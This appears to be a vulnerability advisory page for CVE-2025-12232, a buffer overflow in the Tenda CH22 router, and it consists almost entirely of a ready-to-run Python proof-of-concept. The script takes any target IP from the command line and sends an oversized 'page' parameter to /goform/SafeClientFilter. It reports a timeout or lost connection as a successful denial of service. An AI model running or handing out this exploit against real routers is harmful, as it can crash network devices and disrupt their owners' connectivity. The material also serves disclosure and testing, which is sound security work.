CVE-2025-12232 Tenda CH22路由器SafeClientFilter缓冲区溢出漏洞

import requests import sys # CVE-2025-12232 PoC - Tenda CH22 Buffer Overflow in SafeClientFilter # Target: Tenda CH22 Router (Firmware 1.0.0.1) # Vulnerability: Buffer overflow via page parameter in /goform/SafeClientFilter def exploit(target_ip, target_port=80): """ Exploit buffer overflow in fromSafeClientFilter function """ target_url = f"http://{target_ip}:{target_port}/goform/SafeClientFilter" # Generate payload with excessive length to trigger buffer overflow # Typical buffer size in embedded systems is 256-1024 bytes # We use 2000+ bytes to ensure overflow occurs payload_size = 2048 overflow_payload = "A" * payload_size # Construct malicious request data = { "page": overflow_payload, "form": "SafeClientFilter" } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload size: {payload_size} bytes") response = requests.post(target_url, data=data, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[!] Request timed out - target may be vulnerable and crashed") return True except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down (DoS successful)") return True except Exception as e: print(f"[!] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12232.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)